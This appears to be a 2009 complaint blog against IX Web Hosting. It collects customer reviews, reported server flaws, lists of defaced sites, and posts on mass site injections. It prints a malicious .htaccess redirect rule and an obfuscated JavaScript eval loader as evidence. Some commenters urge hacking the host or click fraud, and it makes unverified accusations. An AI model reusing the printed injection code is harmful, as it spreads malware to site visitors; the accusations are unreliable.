REAL ix web hosting customer reviews NOT paid and misleading reviews

EVERYONE  knows that IX web hosting pays for high listings and “Praise Reviews’ [ read article HERE  ] and their ” Affiliate Army ” is told to SPAM boards trying to lure people to use IX Web Hosting. Do not be fooled by the low prices and  Unlimited Everything, Do NOT become a statistic, because like 1000’s before you, you WILL regret it.

Just see for yourself what REAL Customers that have NOT been paid to post positive comments about IX have to say:

http://www.webhostingreviews.com/ix-web-hosting-reviews.htm

AND

 http://www.webhostingstuff.com/review/IXWebHosting.html 

AND Another one

http://www.web-hosting-top.com/web-hosting/web-hosting-top.ixwebhosting.com-reviews

You will start noticing “Positive” reviews being posted by the Paid Affiliate Army.. but they always stand out as being Fake.

EASY Access to IX Web hostings Server ROOT

From a Unhappy  IX  customer

I was beginning to think I was crazy. My site would get hacked and I would change the password. This would keep happening over and over. Yet every time I would call in they would say it was my fault. Well today I discovered that once again my site had been hacked as well as all the other domains in my userid for them.  While going through one of my sub domains I found a hackers control panel which I downloaded and took a screen shot. I even looked around in it. I realized quite quickly that I had server root access and I could see other peoples files like I was on a regular computer. This control panel seems to have it all. Anyway here is a screen shot for all you who wonder what is going on:

I have marked my info out to spare me as well as the folder I was browsing. But this control panel seems to have any exploits you want on it with very little effort.  It even has a handy self kill button which I used. Of course I am sure they will be back and hack right back in. Meanwhile I have to look into another host.

CLICK ON IMAGE FOR LARGER PREVIEW

 

Helping IX Web hosting secure their servers.

Now we ALL know how rude, stuckup, obnoxious and un-caring the majority ( not all, some deserve respect) of IX Web Hosting’s Support are, so the following REAL LIFE examples will not come as a surprise to most of you.

These 2 examples were reported to IX Web Hosting in Jan. 2008, 3 months BEFORE the May disaster that led to 10’s of servers being seeded, and up to 200,000 sites infected… Now let me be clear, that these examples are probably not related to what happened, but the OBNOXIOUS mentality of IX Web Hosting definitely has!!…

Please note, that these issues have now been fixed ( otherwise I would not post them here) 

ISSUE 1 :

” – Using phpshell and runing the chsh program on server side
the users are able to change their default shell from /bin/nologin to any other shell and get
access to the IX servers by ssh.
I hope my effort to inform you about the flaw will you not understand as a malicious activity. ”

 

IX’s RESPONSE :

” – Although pointing out that minor security flaw wasn’t viewed as malicious activity, please understand that any other attempts to hack into our system will be viewed as such, and it will be treated according to our policies. ”

 

?? !! What not even a Thank You!!??… Nope.. wayyyyy to obnoxious for a Thank You!!

ISSUE 2 :

The default installation of IX’s “click and install” E-commerce software allows read and write rights to users directory to anyone on the internet. You probably  have lot of affected users..

( No state of the art hacking needed. There is a nice php admin interface without password. OK, I know what is in your mind: You will notice at the first login that nobody asked your admin password. The trap is that the admin interface is linked only in to the cPanel and when you access it you have the feeling that the password authentication is missing because the authentication is derived from your cPanel access (as in many other applications and settings in cPanel). After all, a hacker can easily upload a malicious php file and execute some nice exec() calls affecting the rest of your domains hosted by IX webhosting.)

IX’s Response : ( you’re gonna luv this one!!)

“If you don’t like it, don’t use our Easy Install products.”

Ooooohhh Yes, it is good to be appreciated!!

Credits to ZolTan for the info



 




 

IX Web Hosting’s Reviews Feb. 2009

Yellow, 28th 2009f February, 2009

Glad I found this site, was minutes away from purchasing a buisness account. I will now look elsewhere.

Julie, 27th 2009f February, 2009

I think that the likes of Yahoo, Hotmail, Live Mail and Gmail are blocking Emails being sent from web sites hosted by ix web hosting. I had to create a Yahoo email account to snd emails to all the above, because if I send emails from my website email address, no one using a server based email provider such as the one mentioned above, never get the emails I send.. Very unprofessional, I have contacted ix 5 times now, but they just give me a boiler plate answer, there is nothing wrong.

mark, 26th 2009f February, 2009

Hello, What I suggest is that everyone who is having problems with your server, click on their google ads… show them what it feels like when tons of people click on your ads and the server is down. ixwebhosting.com has really bad problems with their servers. My company already moved off of ixwebshosting.com because of the constant server problems we have experienced.

Mike, 26th 2009f February, 2009

Ixwebhosting.com servers are really poorly run and are often down and on error. We made a mistake trusting ixwebhosting.com. Our servers has been down almost 6 times per hour, each outage lasting about 2 minutes.

tommy, 25th 2009f February, 2009

I would like to start a web hosting company and take all your money and then shut down all the servers!!!!! mu ahahahahahahaha

elawcase@gmail.com, 24th 2009f February, 2009

Hello, we continue to receive complaints about ixwebhosting.com. Should we get enough support, we can launch a class action law suit against ixwebhosting for advertising what is not true of their uptime. You can contact us at elawcase@gmail.com.

floristwide.com, 24th 2009f February, 2009

Hello, I cannot believe how terrible the servers are at ixwebhosting.com. It goes down everyday at least 5-10 times. Probably more than that but we catch about 5-10 times a day the outtages. We moved most all our important sites off the server NS13.ixwebhosting.com and NS14.ixwebhosting.com. However, some of our sites are still hosted on this server. You can check it to to see the performance. Our site is www.Floristwide.com and you can test it using alertra.com. You will see that every so often the server will go on error. It’s really frustrating and Ixwebhosting always blames it on other shared hosting sites which is not the solution we want to hear. I have no idea why ixwebhosting is rated high on this website but probably because they pay or promote this ranking. Really frustrating!

Harry, 24th 2009f February, 2009

Recieved an email today from a client saying that if you use the search option it shows an error, spent ages trying to find what the problem was, I then compared the Database Tables with the original, and TWO tables were missing, this site has not been updated for well over 5 months, and it was working fine at least up until 2 weeks ago. ix wehosting denies they had anything to do with the sudden deletion of the tables.

Ian, 22nd 2009f February, 2009

3 days.. and the server is down…

Brice, 20th 2009f February, 2009

I have 3 websites hosted on ixwebhosting and I have had nothing but problems. They upgrade things and break you and do nothing to fix it. Their support is a joke, sometimes taking days to get problems resolved. I am actively looking for another provider. IXWebhosting is awful.

David, 19th 2009f February, 2009

A note about the .htaccess injection. When it happened (Early December of last year), ixwebhosting sent this email to clients:”This is a self replicating virus which is found by visiting well-known search engines. When you click on any link it may redirect you to a fake Anti-Virus 2009 website which appears to scan your system and then asks you to download the software. Once downloaded and installed it begins displaying pop ups on your desktop. At this time it collects your FTP user name and password from your own computer and uses that information to upload an exploited file named “.htaccess” to your website. Any visitors to your website will then be redirected to the fake anti-virus website.”This is not true. It’s an insult to say that I (an experienced internet user) actually downloaded the fake anti-virus program. Access to our FTP accounts was not obtained from our (the clients’) own computers, it was a security flaw on the server end. Just today ixwebhosting sent an e-mail saying that they changed everyone’s ftp passwords, obviously to cover for some more security flaws on their end.

Walter, 17th 2009f February, 2009

Very slow. vulnerable, crappy webhosting with 10-15 seconds page generation time.

David, 17th 2009f February, 2009

I have been with ixwebhosting for about a year and a half. I have had no problems except for the one time when my site (and possibly all the other ixwebhosting sites) were hacked. The .htaccess file was replaced with this:RewriteEngine On RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC] RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]It didn’t hurt me because my website is private and not indexed by search engines anyway, but this is very bad. I will not be staying with ixwebhosting for the long-term. I have had no problems with tech-support though, I’ve used the live chat two or three times (with trivial issues mind you) and have not had to wait more than 10 minutes.

Chris from BBTA, 16th 2009f February, 2009

I see IXwebhosting’s response below… do not contact us it wastes our time… WOW. What a statement. So your customers inquiring about the status of their server that is down and they are most likely losing money and customers is a waste of your time. The is just plain out crap. If you dont care about your customer’s, customer’s then you dont care about your Customer.I have been with IX for over two years, and have a multitude of websites with them. Everything was great for the first, 10 months or so. Then they moved locations, SQL servers go down, or are extremely slow to respond, dns errors, internal server errors, failure to connect to web server errors, errors errors, down, slow, error, down slow. Catch my drift.I am in the market for a new host as I have finally grown tired of daily support tickets, phone calls and chats. Someone point me in a good direction and not godaddy i dont like them either. I am looking at dreamhost but not sure yet.

Laura T, 15th 2009f February, 2009

Support is so frustrating, and useless, 3 days I used the chat support to ask why my pages were suddenly getting a syntac error, I had not made any changes for months, I was told to submit a ticket, so I submitted a ticket 2 days ago, FINALLY today after 2 days I get a response telling me they had recieved my ticket and that it was forwarded to the correct department !!!!??? WHAT!!?? This is the final straw, after reading all the below complaints, and also all the stuff on www.ixwebhostwarning.wordpress.com I am moving my sites away from ixwebhosting

Rob Stallard, 15th 2009f February, 2009

The actual service is adequate. However, they fail to deliver on technical support. On two occasions I have waited 2 days for just an initial response. They are unhelpful on chat – they just say the problem will be looked into soon – and don’t do so. Support is a network of Russians as far as I can tell. Unapologetic and unhelpful and very frustrating as there is no way a crucial techincal issue will get looked into in a timely fashion.

Chris, 13th 2009f February, 2009

My SQL servers are down yet again. If you talk to the online chat they will tell you nothing is wrong. IF you submit a ticket they give you a BS response. However I just called them and was honestly told (Spoke to a real tech support person not “Jeff” in freaking Pakistan) that they had a hardware failure last night and they dont know when it will be back up. And that 501 has had some issues here lately but with the replacement of the hardware this should be fixed. We will see where this leads. I dont want to change host because it is a HUGE PITA. But if I have to I will.

Ex IX customer, 12th 2009f February, 2009

Could somebody please hack the .htaccess file on www.ixwebhsoting.com. Please set it to divert everyone to a decent hosting company!Funny how their own site never gets hacked! Please, please, please… Somebody please hack their site to see how they like it.

Wallace, 12th 2009f February, 2009

All site is down now for ixwebhosting.You try go their website which down now.My website is down also.After see all your comment,i am worry now.Don’t know when will be up again.

Shira, 12th 2009f February, 2009

We’ve spent the last week uploading and creating database on our new IXWebhosting account. BIG MISTAKE. All of the database sites give random server connection errors more often than not and the server service in general is extremely unreliable. The online “Tech support” chat is a complete joke. Not once have they been able to resolve the problems we’ve communicated, and we have to chat them about 5 times a day. We’re closing our account today before serious damage is done.

Pete, 11th 2009f February, 2009

AVOID like the plague!!! Every one of their web servers have been hacked in the last few months. If you have any sites with them, it’s just a matter of time before your code is injected with viruses and phishing pages or completely diverted to a scam web site. If you have an account with them, do what I did… Get the hell out now before all of your sites are blacklisted. Try www.a2hosting.com. They cost a bit more but you get what you pay for.

Chris, 10th 2009f February, 2009

From all the research I have done over the past months, i have never seen so many angry people and complaints as the ones complaining about ixwebhosting IX is a lost case.. AVOID

FUCK YOU IX, 10th 2009f February, 2009

I’m so sick of the feeble excuses ix web hosting come up with. I the past week I have called them at least 3 times everyday because so far my sites have been down on average 3 hours a day. Everytime I get to hear how sorry they are, and that the issue will be fixed within 20 minutes!! It really is time to get a class case together and sue IX for compensation.

Erik, 09th 2009f February, 2009

All 12+ of my domains were down much of Feb. 7, 2009, and since at least the afternoon of Feb. 8, 2009, they’ve been down again, and all of my sites’ files are totally gone. They’re “still working” as of this morning, Feb. 9, 2009, but they cannot say much more. Time to move on.

Milano, 09th 2009f February, 2009

Today I got a call from a friend telling me my sites contained a virus, I googled my site, and when I clicked on it my Anti Virus blocked it with a warning, I then checked all my other sites and they all contain the same script. I called ix, had to wait 25 minutes, probably a lot of customers with the same problem.. I was told very bluntly that it was a well known issue with WordPress, I have been using wordpress now for 4 years, and always use the latest stable version, I contacted WordPress, and they assure me that there are no known issues with WordPress. I then called ix again, and this time they blamed my computer, saying it is infected, and that I uploaded the virus. IX is an absolute nightmare, and I am moving all my sites away from them, and I will file a complaint with the BBB

Herman, 08th 2009f February, 2009

Last week I had a phone call from a customer why I had not sent them an Email, I reassured them that I had, and that I would resend it 2 days later completely pissed off because they still never got the Email. So I sent an Email to one of my own Email accounts.. I never got it, so I tried sending it to another 5 Email accounts.. out of those 5 emails I got just ONE, but it took TWO days to reach me. I contacted support on the chat, and he told me there was a backlog of mail because of a “Spam Filter” , he told me to create a Ticket which I did, I sent a ticket on Friday morning, and Today ( Monday) I still have not had a response. So to break it down, ( this is what I know for certain) I have sent 8 emails, and only recieved ONE 2 days after I sent it! This is absolutely absurd, now I do not know how many people I have sent Emails to that never got them. Do yourself a big favour and stay away from ix web hosting, they just have not got a clue, or they just don’t care, or both.

elawcase@gmail.com, 07th 2009f February, 2009

Anyone interested to sue ixwebhosting.com due to their bad servers and not providing what they promise, please contact us at elawcase@gmail.com.I have tried many hosting companies and ixwebhosting is amongst the worst. Their server will go down frequently. We received so many complaints from our own customers that the website is not working. We get this just about everyday. And two days ago ixwebhosting.com servers were down for 4 hours. Yesterday it was down 3 hours. Today it is down now for over 2 hours and we are still waiting for the servers to work. We are hosted on NS13, NS14. This has got to be the most frustrating experience in our 9 years in ecommerce. We made the fatal error trusting to host our site with ixwebhosting.com. The first two months were okay but then after it went downhill. I think maybe they work really hard during the trial period so you cannot refund the month. I’m stuck now with a long period of webhosting plan. They won’t refund either and they will not provide you a good working server.

Matt, 07th 2009f February, 2009

Hello, THE SERVER IS DOWN AGAIN. Two days ago it was down for 4 hours then yesterday 3 hours.. now today it has been down for over 2 hours. I need a working server. ixwebhosting has the worst servers possible. So much downtime. They wont refund you either.

Help!, 05th 2009f February, 2009

Hello, can someone tell me what to do? ixwebhosting.com server has been down again and again. This is at least the 10th time in the last 12 hours. What is happening? This is our 5th complaint with them but they are not fixing it. It will maybe work for 1 hour then go back on error.

Richard, 05th 2009f February, 2009

Oh my GOD! The server is down again.. I’m going to move my websites ASAP.. ixwebhosting really sucks… we have to complain every day. I’m sure they have so many compplaints. Their servers are maybe just poorly managed. But it’s bad.

Richard, 05th 2009f February, 2009

Hello, I just checked the server. It is now working but after 4 hours of downtime. This is really unprofessional hosting. It’s cheap but you really get worse than what you pay for. Ixwebhosting.com is cheap and bad. I would rename it ixwebrobbing.com

John – HELP SERVER DOWN, 05th 2009f February, 2009

Hello I cannot believe how many times the server is down.. It has been down for over 1 hour and now they are telling us another hour. This server really sucks.. here’s the chat logs.Lesya Geychenko: Sorry, we really experience some problems on our server, but I want to ensure you that this is temporary and we will fix them as soon as possibleyou: pls .. it has been down for 1 hour you: every day down Lesya Geychenko: I am so sorry, our admins are working on the issue Lesya Geychenko: Sorry, we do not have any ETA yet, the issue will be fixed as soon as possible you: we have to contact ixwebhosting just about everyday about the servers being down.. this is not the service we have paid for Lesya Geychenko: I understand your concerns about this, you can create a ticket and provide statistics on the server side issue and ask for permanent solution you: we have already you: what’s going on? you: over 1 hour you: hello, any updates so far? Lesya Geychenko: Yes, our admins are working on the issue, they will send a notification to me when they finish you: please Lesya Geychenko: The issue should be fixed within 15 minutes you: ok Lesya Geychenko: I am extremely sorry to tell you, I just got the news from our admins you: ok Lesya Geychenko: They maintain the server longer than I have expected Lesya Geychenko: The server will be up in 60 minutes you: ixwebhosting is really unreliable…..

ixwebhosting.com, 05th 2009f February, 2009

Hello we understand our server is down for about 1 hour. We will fix it as soon as possible. Please do not bother us with your enquiries because it wastes our time. We are trying our best. If you don’t like it, please do not contact us or join our excellent web hosting server. You can see on this website we are rated very high. We are not interested in people just complaining and bothering us about our servers. We know it is currently experiencing problems but we will fix it!

Heidi, 03rd 2009f February, 2009

Just got off the phone with ix, for the past 2 weeks every evening at 6 o clock my sites stop loading, and I cannot retrieve my Emails. It is so frustrating that the support just say that everything is working fine. I’ll be looking to move my sites.

Matt, 02nd 2009f February, 2009

The server is currently down. IT is down about every 5-10 minutes for 30 seconds – 2minutes. Right now it has been down for over 10 minutes. We need to get to our database and info but we can’t. This is just bad for us. ixwebhosting.com really cannot get it right. We have contacted them over 100 times in the past month but they keep saying they fixed the problem. I don’t see how ixwebshosting rating is high on the right menu on this website. It means they probably get some cut when referring clients.

Top 10 Search Terms Feb 8 and 9

A list of the top 10 Searches of people landing on this blog. This is what people are searching.

Today

ixwebhosting   Reviews
ixwebhosting htaccess  
ixwebhosting hacked  
ixwebhosting injection .htaccess  
ix webhosting hack  
rip off hosting account   
ixwebhosting cannot connect to database   
ix web hosting htaccess deleted  
ixwebhosting php issue  
how is my site getting hacked? ixwebhost  

Yesterday
 
ixwebhosting hacked  
ixwebhosting  
my php file infected contains iframe cou  
infected website with directed wedsites  
fake yahoo counter  
ixwebhost php wordpress problems?  
ix webhosting reviews
ixwebhosting injection .htaccess  
ix webhosting injection  
ix web hosting virus issue

IX Web Hosting Reviews Jan. 2009

George , 30th 2009f January, 2009
If you are planning to run a serious website, DO NOT use Ix web hosting, they are more trouble than they are worth. Virus, Slow, Database problems, and Email issues.  
 
Paolo, 23rd 2009f January, 2009
After reading the reviews about the servers / database’s slowing down at a certain time, I checked my log files, and it’s true, like clock work at 2 am every night they come to standsill intill 7.30 am then they pick up again. I posted a support ticket, after almost 24 hours I finally got a response telling me the ticket has been forwarded to support!!!!!… What is the point of that??.
I am looking into moving my sites to HostGator. 
 
Gary, 22nd 2009f January, 2009
I am so sick and tired of ix web hosting!
I have had nothing but problems with them. Their support is useless, rude and they lie.
For the truth visit
http://ixwebhostwarning.wordpress.com/
 
Marky, 22nd 2009f January, 2009
Hacked, Injected, De-Faced, Slow, Useless Support and lots more.
IX is 100% USELESS!!
 
jack, 21st 2009f January, 2009
The server of ixwebhosting is down now. It has been on and off and stalling for the past month.. they keeps saying it was fixed but it isn’t. It’s very upsetting. We have had to complain and make complaints every day three times…. anyone know of a better hosting for Windows?  
 
Melanov, 21st 2009f January, 2009
haha, i know how ixwebhosting is being attacked, I know who is behind the injecting. Over a year ago we contacted ix explaining they had problems, we had a very rude reply telling us it was lies, and the servers were secure. We added a folder with a fake website to at least 200 websites. Now ix wanted to listen, and even offered to pay per security issue.. but now it is too late.
ixwebhosting should listen when help is offered.
 
Gerald W, 21st 2009f January, 2009
I am in the process of moving my 12 sites from ix, I never had a problem with them for over 3 years, but as of November it has been one injection after the other. IX is not willing to help customers, instead they just want their money, and point the finger at customer once EVERY site on the servers are injected.
Don’t waste your time or money on these people.
 
Michael, 18th 2009f January, 2009
I completely agree with Blake, every night at midnight ALL my sites on two buisness accounts come to a screeching halt, everynight I call ix, and they appologize, and tell me they will find the cause and firewall the site, or even suspend the site(s) causing the slowdown, but this has been going on for weeks.
Also, I use “Mailwasher” that connects to my mailserver every 10 minutes, and every morning when I check mailwasher, I get an error log telling me that it could not connect to the server, with at least 20 times that it could not connect to the server.
It’s time to drop ix web hosting
AVOID
 
Blake, 17th 2009f January, 2009
I am totally and completely disgusted with IX Webhosting. It used to be a great host and I recommended it to everyone I could. But something has changed. I believe they got sold. Since then, we have had nothing but endless trouble with this host…

Last year, they proudly moved to a new Data Center. Of course this caused us problems for several months. They kept apologizing, but the problems persisted. After a very long period, things calmed down and remained that way until November…

Without prior warning, IX moved our site to a new server in November. After 60+ hours of calling, using Live Chat, and using the ticket support system, they finally worked out most problems. I felt like I had to beg to get IX to help resolve the problems that they created. I lost an entire weekend fighting them. The IX response times average between 12-24 hours…

Then again this January, IX updated all of our cgi-bin files in our domain and all of our sub-domains recreating the problems that were caused in November’s unnecessary server move. Again, it took over 60+ hours to get our site up and running. I had to find workarounds to get our site up and running, and amazingly, IX tried to take credit for getting our site up and running again even though they had nothing to do with it…

Even though our site is up and running now, we still have many problems. After 176 hours of fighting IX for help, they have yet to correct the Cron job errors that still plague our site…

The last two days, the server has crashed in the evening requiring another call to IX to get the server restarted/reset and our site back online. This was the same pattern that plagued us after the Data Center move last year. And early every morning, the page load response times drag down to a crawl. This seems to start between midnight and 4 AM every single night. The other day, the slowness continued well into the following day. We get an apology from IX each time this happens, but they don’t seem to be doing anything to permanently correct it…

IX has tried very hard to blame these problems on our code, which worked fine before the server move in November and again up until January. IX does not want to take responsibility for their actions and it is frustrating and disgusting dealing with them. I cannot in good conscience recommend IX Webhosting to anyone until they improve the skills of their own Technical Support staff. It wouldn’t hurt if they hired a few more knowledgeable people to improve their response times too. Waiting 12-24 hours for each new response to a ticket is totally unacceptable. With IX’s lack of effort, a resolution to a problem can drag on for days and weeks. IX does the bare minimum to assist its clients and they do it as slow as they possibly can…

Dealing with IX technical support gets real old real fast. I wouldn’t wish this on anyone…
 
 
Hans, 17th 2009f January, 2009
Do not believe their “Money Back Guarantee” After 3 weeks I requested a refund, and I only got about 30% of the full sum, they even charged me $20 for a .com, $20!!!, I can get these for $4.95.
Stay Away from these idiots  
 ett, 11th 2009f January, 2009
If IX is no 3 in the Top 10 companies list, what is the service level provided by those below on the list? Must be pretty terrible, eh?!
I have experience from IX as well as other hosts. Of the ones I’ve used, IX is the worst, one.com (in Denmark!!) has given me the best value for money.
 
Mike, 10th 2009f January, 2009
Bloody USELESS!
 
Muluut, 10th 2009f January, 2009
I am now just 3 months hosting with ix hosting and every day I having big problems. these people do not help and all my sites are hacked. I ask for backup and they tell me backups are no good, backups are hacked same as websites
ix hosting is no good for hosting.
 
Laurie, 10th 2009f January, 2009
With them for about 2-4 years. Was OK, nice customer service but innefficient now that I am ahving BIG problems – and now has been a nightmare since January 1st 2009. Now all my six websites are not even loading. Not even an error message! “server taking too long to respond” My site was hacked apparently (never happened in 10 years) and since then problems everyday. Even google has put a warning to visitors about malware from my site. My Google results have dropped completly Now have been pfflne for 24 hours. Disaster. Will change. I was told they are having problems with one of their servers. I don’t care. I’m changing. Will pay more for more. 
 
Jonathan, 09th 2009f January, 2009
I too have been with IX for just under 4 years, and I too have pure html sites, I have 7 websites, I have always been very happy with IX, and up until September 2008 I had never had any issues. But since September my sites have been hacked, changed and re-directed on a weekly basis. IX keeps telling me about folder permissions and Ftp viruses, but I do not run any scripts, and do not have any folders, so I know that cannot be the cause. I will be moving all my sites to another host. 
 
Archer Rejn, 09th 2009f January, 2009
I have been with IX for already 4 years and have never had any problems. May be cause I do not use any free php applications like wp or Joomla ? All my sites are html files with some Java scripts. I have never been hacked and all my sites load pretty fast. 
 
Magix, 09th 2009f January, 2009
Don’t waste your time or money on these people. 100% USELESS! 
 
kjett, 09th 2009f January, 2009
There is at least one positive aspect of using IX, viz. you learn a lot about the perils of using a web host without sufficient technical knowledge and/or security routines.
You learn that you yourself have to take responsibility for implementation of all the precautions needed, such as recurrently (frequently) making sure your hosted domains haven’t been hacked, having all directories properly chmod-ed and .htaccess-ed, and keeping updated backups on a local server.
These security routines will prove to be useful when you move to a hopefully more competent and secure web host.
 
beyaz, 06th 2009f January, 2009
have the same problem!!!! they are just after money instead of clearing their s**t!
 
George W Bush, 05th 2009f January, 2009
Don’t waste your time with these people, they are just a bunch of incompetent retards.
 
Sammy J, 05th 2009f January, 2009
4 days ago my 6 sites were injected with code, I spent 2 full days cleaning my sites, ix wanted to charge me $80 and hour to clean them, today all 6 sites are injected yet again.. I’m moving to another host, People, beware of IX they do not give a damn about your sites, all they want is your money. 
 
Anita, 03rd 2009f January, 2009
Add me to the list of customers that have been affected by ix’s .htaccess vunerability, and yes they are blaming me, the best part is, they are willing to fix this for me for $80 !! 
 
Roger no Kids, 02nd 2009f January, 2009
@ Roger Kids..
You TWAT!!..
People don’t like IX because they HAVE tried them!!.. If you haven’t tried them, how is a person suposed to know if they like them or not?..
All a person can expect, is what they are promised and what they pay for.. NO MATTER what the price is.
IX are RIP OFF’S they promise, take your money and accuse you for their incompetance.
 
Roger Kids, 01st 2009f January, 2009
Cmon` guys. If you don`t like IX why you choose it? Try to spin around for hosting which is better and cheaper. Let`s see what u`ll get

IX Web Hosting’s PHP Upgrade Notification

Dear Nicole **********,

We are happy to inform you that over the next two weeks we will upgrade PHP to the latest 4.x version (4.4.9) on the web server your website is currently being hosted on. This upgrade will resolve many security exploits and make services more stable.

As part of this upgrade, we will migrate from an Apache Module to a CGI based installation that gives you more control over many PHP settings. Once implemented, you will have the ability to upload your very own php.ini file into your cgi-bin folder as needed.

After the upgrade, your website may experience a few errors, all of which can be quickly resolved. Most are caused by having PHP directives inside an .htaccess file.

To fix this problem, simply login to your control panel and click on the WebShell icon. The .htaccess file will not be viewable unless you have “show hidden files” checked in your WebShell settings. Open the .htaccess file and remove any lines that start with “php_”. If you need to retain these settings, then they must now go into a php.ini file and placed into your cgi-bin folder.

If you are running PHP in any of your HTM/HTML files, please add this line to your .htaccess file:
AddHandler php-script .php .php3 .php4 .htm .html .phtml

If you have any questions or concerns about this upgrade, please do not hesitate to contact us 24/7 via live chat, ticket, or phone support and we will be glad to assist.

I hope you will enjoy the new features and increased security!

Best Regards,

Fatima Said, CCO
IX Web Hosting

IX Web Hosting still blames 777 permissions

Hundreds of unhappy IX Web Hosting Customers are contacting me, telling me they are still being blamed for the Yahoo Counter Script Injection and the .htaccess hack.

IX is blaming ” Folder Permissions “  saying 777 should not be used, and in the case that NO FOLDERS are being used, they turn to the ” Ftp Virus”   BOTH of these are complete rubbish and LIES, and if you corner an IX Web Host manager with some facts and a bit of knowledge they will admit that it IS an issue on the ” IX Servers”

I have been PERSONALLY told by THREE MANAGERS.. Kenny, Drew and Lauren that IX is aware that they have security issues, and each time they assure me that the problem will be fixed soon, that was 9 months ago!!
The problem has not been solved, and is nowhere near being solved, actually it is getting worse.
Almost 10 months ago the problem was the iFrame Yahoo Counter was injected into every file, today the problems are numerous 3 different  injections and a .htaccess hack!! on both the php4 and php5 platform.

So, why is IX Web Hosting admitting they have issues to certain people, and LIEING to others? The reason to this is because the Support Monkeys have been told to NEVER admit that IX has issues, if the monkeys admitted to every customer that it was due to IX’s security issues that more than 120.000 sites were being infected on a weekly basis, all hell would break loose and somewhere along the line someone would sue.
So, as of yet for as far as I know it is only certain managers that are admitting to certain people, that IX is to blame.   

IX Web Hosting blames 777 folder Permission!!!… Do me a favor!!, it’s 2009, HUNDREDS OF MILLIONS of people are using Open Source CMS (content management system ) such as WordPress, Joomla, Drupal etc..etc..
Many of these scripts will not work without 777 permission ( images, templates etc)

If in 2009 IX Web Hosting cannot host a CMS site  without it getting injected or defaced, then they are NOT FIT to host websites and should pack their bags and leave town … for good!!

Why is it, that IX has a page on their website that explains in detail how to install and use WordPress and Joomla, but they still blame customers for using these CMS scripts.

Next time you speak to an IX  Support  Monkey ask them how the following  is possible

1. 5 html sites ( 100% html) not running any scripts or folders get injected?
2. How is it possible to MASS overwrite 644 files (.htaccess)
3. How is it possible to MASS add .htaccess files
4. Why is it, that if I did have an Ftp Virus, they only inject 2 buisness accounts, when they would have access to all 4?.. Why dont they inject all 4?
5. Why is it only IX Web Hosting and Host Excellence ( owned by ix web hosting) are having these problems? if it was a 777 folder permission issue 100’s of Millions would be affected, and EVERY webhost in the  world would have the same problems.
6. ANY Server Side injection of 1000’s of sites is surely the responsibility of IX, and NOT a Folder Permission issue.. I have access to all my folders, but there is no way that I can access someone elses site.
   It’s clear that this issue is server root related.

One more thing, a 777 folder used by the likes of WordPress or Joomla ARE SAFE!!..  Does IX Web Hosting really believe that they can carry on blaming customers? MORE THAN  ONE THIRD of ALL IX Web Hosting sites are infected!!… More than 120.000 sites infected !!

IX Web Hosting making money from their INSECURE SERVERS

For going on 10 months now ix web hosting’s servers have been under attack, both the older php4 and the new php5 are full of security issues, and have been seeded and are constantly injected with various scripts and / or the .htaccess file gets renamed and customer sites are re-directed.

MORE than 120.000 IX hosted sites are injected / .htaccess hacked on a weekly basis, an excellent oppertunity for the scum IX to make a quick buck!!

IX Web Hosting will clear up the mess that is caused by their extreme Incompetence and INSECURE SERVERS for just $80 AN HOUR!!

A few days ago I was contacted by an IX customer that hosted 5 html sites ( not a single script)  all 5 websites were injected with the Yahoo Counter Script, this was the 3rd time in one month that this had happened, each time she just  re-uploaded all her sites, but still her sites got injected. The 4th time she approached IX to help her get her sites back in order. IX charged her $160 ( 2 hours) to get her sites back to normal. 6 DAYS later all her sites were injected, but luckily the bastards at IX were willing to help her again for another $80 an hour.

IX Web Hosted sites Hacked & Defaced Jan 9th 2009

http://efamili.com/

http://dabasan.com/beads/archive.php

http://www.capetowntips.com/

http://icaav.com/phpBB2/

http://buildingwithtyres.com/

http://www.mortgageservices.com.au/

http://terrybeitel.com/

http://ebookdirectory.net/

http://www.strangeauction.com/

http://annualkellyfamilyreunion.com/forum/

http://www.scotlandsguesthouses.com/

http://www.themerchfoundry.co.uk/helpcenterlive/

http://mediaportalen.net/

A NEW wave of iFrame Injections for IX Web Hosts Customers

It has come to my attention that a NEW wave of iFrame injections has infected 1000’s of new IX Web Host Customers, unlike the previous injection, that injected javascript into the footer of every file, this new piece of code is being injected into the “Header” of every file..

The new code looks like this:

<script language=JavaScript>function tobnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,62,45,0,25,55,44,41,2,31,0,0,0,0,0,0,3,38,33,21,20,16,19,10,42,35,13,32,24,17,4,40,46,56,53,
15,60,5,50, 47,57,48,51,0,0,0,0,26,0,49,6,29,7,12,54,34,23,28,58,11,14,36,43,27,8,59,52,39,37,30,61,1,18,22,9);for(s=Math.ceil(c/m);s>0;s–){h=”;for(i=Math.min(c,m);i>0;i–,c–){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(224^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}tobnb25(’hAOIN1QtlSztwx4tFfvam1OIUuTfN1QKCfLBlx7ZhG4gDypVdZcgbG4KJypYlbLIUfcf4FLrE@TmxlL
58IptD87fS0TRF84BUxOZzjOBS1etS0vak5_KD gOZx1LtlxpV2bptpj6mwjpBSfpVzneRCkJRLsTVdscfNbJrdWTa8@TtzxptpfJRDIJYpyLgdgptcdJrM
@TmDAzIUf2YNAQmEVLK4H2ISjLB8qJ5SsOBxbLIUjvaz@’)</script><!– yourdomain.com –>

 

Manager Kenny at IX Web Hosting  informed a customer today ( Mon 5th Jan.) that  they were testing right now and should be completed in a week or two…

ONE OR TWO WEEKS!!!.. Hey we have been waiting for 8 MONTHS!!!!  You would think that by the advice is giving all their paying customers, and blaming them for everything,  and then offering to fix the problem for $80 AN HOUR!!.. that they would know how to fix this problem, but is is clear they do not, and instead of putting more time and effort into solving this, what does IX do??… TRY AND MAKE MONEY FROM THE PROBLEM!!!… Thats correct, IX Web Hosting is offering to fix / clean customer sites for $80 an hour!!…  This is an absolute disgrace!!

To me it is clear that a large group of people know the vulnerability at IX servers, and various people are now injecting their own script, thats why we are starting to see various different scripts appearing.

IX Web Hosted Sites Hacked and Defaced Jan. 2nd 2009

 

1. http://forums.spartiate-peers.com/
2. http://www.washrag.org/phpBB2/index.php
3. http://www.pococks.net 
4. http://imprecator.net/ 
